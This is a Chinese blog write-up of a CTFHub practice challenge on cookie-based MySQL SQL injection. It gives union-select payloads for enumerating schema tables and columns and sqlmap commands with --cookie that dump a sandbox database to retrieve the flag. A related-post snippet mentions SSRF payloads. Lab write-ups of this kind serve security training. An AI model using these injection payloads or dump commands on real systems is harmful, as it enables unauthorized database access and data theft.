CTFHUB-技能树-Web题-SQL注入-Mysql结构-Cookie注入

已于 2024-05-09 21:14:09 修改
阅读量653 收藏 2
点赞数 18
分类专栏： CTFHUB解题思路 文章标签： 前端 sql mysql
于 2024-04-05 21:31:51 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Static______/article/details/137409836
版权
本文详细介绍了如何利用SQL注入技巧，如手工注入、brupsuit工具和sqlmap脚本，在Mysql结构中检测Cookie注入点，判断字段数，提取库名、表名、列名及数据。通过实际操作展示了爆库爆表爆列的过程。
摘要由CSDN通过智能技术生成

技能树-Web题-SQL注入-Mysql结构-Cookie注入

文章目录

Mysql结构—Cookie注入
手工注入-使用brupsuit
判断注入点

这里其实可以将数据包放入重放器中进行

输入1 有回显

在这里插入图片描述

输入1 and 1=1 有回显

在这里插入图片描述

输入1 and 1=2 无回显

在这里插入图片描述

由此判断存在注入点

判断字段数
1 order by 3 无回显

在这里插入图片描述

1 order by 2  有回显

在这里插入图片描述

由此判断字段数为2

判断可回显字段数
-1 union select 1,2 回显出1，2

在这里插入图片描述

由此判断可回显字段为1，2字段

爆库名
-1 union select user(),database()

在这里插入图片描述
得到库名sqli

爆表名
-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述
得到两个表名，查看第一个表的字段

爆列名
-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='begdigukje'

在这里插入图片描述

爆数据
-1 union select user(),xiswasakaq from begdigukje

在这里插入图片描述

得到flag

sqlmap(liunx)
爆库名
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 --dbs  --batch

在这里插入图片描述

爆表名
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2  -D sqli --tables --batch

在这里插入图片描述

爆列名
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T oeqvuxbdhi --columns --batch

在这里插入图片描述

爆数据
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T oeqvuxbdhi -C pvyensfayg --dump --batch

在这里插入图片描述

得到flag

python炒粉
关注
  • 18
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
MySQL 面试题-SQL注入篇.docx
09-17
SQL注入是一种严重的网络安全威胁，尤其针对使用MySQL等数据库系统的Web应用程序。攻击者通过在用户输入的数据中插入恶意SQL代码，可以操控数据库，获取敏感信息，甚至破坏整个系统。以下是关于SQL注入的详细解释和...
MySQL结构、Cookie注入、UA注入、Refer注入 （ctfhub）
2401_82985722的博客
04-01 857
User-Agent是Http协议中的一部分，属于头域的组成部分，（简称UA）。是一种向访问网站提供你所使用的浏览器类型、
CTFHub | MySQL结构
尼泊罗河伯的博客
11-13 1763
根据网页显示内容输入1进行测试，此题可能存在 SQL 注入。此题与前一题类似，这次使用手工注入。先判断是否存在注入，发现存在注入后检查注入点。判断字段数量，然后检查数据库位置，知道数据库位置后查看数据库版本和数据库名。接着查看全部数据库名，并查看这些数据库的表名，最后在lvlbiqemvj 表中的数据发现此题 flag 。
CTFHUB-SQL注入-MySQL结构
最新发布
weixin_68416970的博客
06-13 533
本题用到sqlmap工具，没有sqlmap工具点击直达下载安装使用教程。
CTFHub技能树之WEB MYSQL结构
weixin_48799157的博客
03-20 1374
小白一个，如有错误请指正！ 解法一： 1.这里还是老方法，输入 1， 2 ，3 ，得知字段有两个 2.爆数据库 select * from news where id=123 union select 1,database()# 3.爆表名 select * from news where id=123 union select 1,group_concat(table_name) from information_schema.tables where table_schema..
CTFHub - Cookie注入
Have_a_great_day的博客
09-10 795
因为在CTFHub中web内SQL板块使用的是同一个数据库，所以列数是相同的。table_name='gzuhxxtsjy' ：选择表名为【gzuhxxtsjy】的表的数据。table_schema=database() ：选择当前连接的数据库(sqli)中的所有表。可以发现此处没有【flag】表，取而代之的是【gzuhxxtsjy】，查看该表中的列名。Cookie注入则是一种特定的SQL注入形式，它利用了应用程序中使用的Cookie来进行攻击。【news】表一直都存在，所以第一想法先不考虑此表中的内容。
# CTFhub MySQL结构
plant1234的博客
06-18 729
MySQL结构: 需要了解mysql的知识点： union select 联合查询，联合注入常用 database() 回显当前连接的数据库 version() 查看当前sql的版本如：mysql 1.2.3， mariadb-4.5.6 group_concat() 把产生的同一分组中的值用,连接，形成一个字符串 information_schema 存了很多mysql信息的数据库 information_schema.schemata information_schema库的一个表,名为schemata
CTFHub-MYSQL结构-wp
z1moq的博客
05-16 199
MySQL结构 对注入条件进行测试 输入 1 时正常返回 输入 1’ 时无法正常返回 输入 1+1 时正常返回 id=2 的值 说明存在整数型SQL注入 使用 order by 检查字段数 字段数为 2 使用 1 union select 1,2,3 检查输出字段数 与order by 得出的结果相同 -1 union select 1,database() #得出表名：sqli -1 union select 1,group_concat(table_name) from informa
计算机-mysql-基于Web应用的SQL注入攻击入侵检测研究.pdf
07-08
"计算机-mysql-基于Web应用的SQL注入攻击入侵检测研究" 本研究论文主要研究了基于Web应用的SQL注入攻击入侵检测技术，以解决当前Web应用系统中常见的SQL注入漏洞问题。论文首先对SQL注入攻击的基本概念和原理进行了...
计算机-mysql-模型驱动的web应用SQL注入安全漏洞渗透测试研究.pdf
07-08
这导致现有的SQL注入渗透测试无法充分测试Web应用程序的防御机制，无法发现隐藏在不完善的防御机制背后的SQL注入漏洞，从而产生假阴性结果，降低了测试的准确性。 本文旨在通过改进SQL注入渗透测试用例来提高SQL...
【SQL使用工具sqlmap注入】CTFHub之mysql结构
zguohuai的博客
05-10 280
使用sqlmap进行数据注入
ctfhub sql注入之cookie注入
2303_81631620的博客
04-04 773
Cookie是在HTTP协议下，服务器或脚本可以维护客户工作站上信息的一种方式。通常被用来辨别用户身份、进行session跟踪，最典型的应用就是保存用户的账号和密码用来自动登录网站。
cookie注入（CTFHUB靶场）
weixin_54105551的博客
09-10 1353
因为是cookie注入，所以我们就把注意放在cookie上，发现cookie后面有一个id=1，我们加一个单引号，看看会不会报错。发现报错，存在注入，我们可以查看一下他的字段数，发现等于3的时候会报错，说明字段数等于二，然后我们可以开始暴库了。我们先用BP对靶场进行抓包，然后将抓到的数据发送到repeater。尝试一下用gagawesmtx这个表。得到数据库为sqli，然后开始爆表。
CTFHub | Cookie注入，UA注入，Refer注入，过滤空格（利用hackbar插件）
qq_73861475的博客
11-18 981
User-Agent 首部包含了一个特征字符串，用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。一些网站会把用户的 UA 首部信息写入数据库，用来收集和统计用户信息，如果操作不当就有可能会导致 UA 注入。【超详细版】学习SQL注入看这篇就够了（原理及思路绕过）_sql注入教程_网络安全-李彦暗的博客-CSDN博客1、界面能够回显数据库查询到的数据（必要条件）；2、界面回显内容至少能够显示数据库中的某列数据（必要条件）；
CTFHub技能树web（持续更新）--SQL注入--MySQL结构
jiuyongpinyin的博客
09-05 860
MySQL结构 首先结果测试是可以使用联合查询语句的，前文中有提到过如何手工注入，这里就直接使用sqlmap进行注入 爆破当前数据库： 得到当前数据库： 爆破当前数据库的表名： 得到表名： 这里和之前不一样了，没有类似的flag的表名，但是有一个sappimemcd这个没见过的，爆破这个表名的列试试： 得到列名： 接着我们爆破里面的字段： 得到flag： 注：萌新第一次写write up，不足之处还请见谅，不对之处欢迎批评指正。 ...
ctfhub SSRF
08-27
ctfhub是一个CTF训练平台，提供了多个CTF挑战模块，其中包括了SSRF模块。SSRF（Server-Side Request Forgery）是一种攻击技术，可以利用服务器端请求伪造漏洞来发送恶意请求。在ctfhub的SSRF模块中，你可以学习和实践SSRF攻击技术，并利用平台上提供的漏洞来进行实验。 在SSRF中，有一个重要的点是请求可能会跟随302跳转。你可以尝试利用这个来绕过对IP的检测，访问位于127.0.0.1的flag.php文件，从而获取敏感信息。 此外，在SSRF中还可以使用Gopher协议来攻击内网的服务，例如Redis、Mysql、FastCGI、Ftp等等，并发送GET和POST请求。Gopher协议可以说是SSRF中的万金油，大大拓宽了SSRF的攻击面。你可以构造类似于"/?url=file:///var/www/html/flag.php"的本地地址来尝试攻击。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [network-security:学习web安全练习的靶场，以及总结的思维导图和笔记](https://download.csdn.net/download/weixin_42118423/15763452)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [CTFHub—SSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值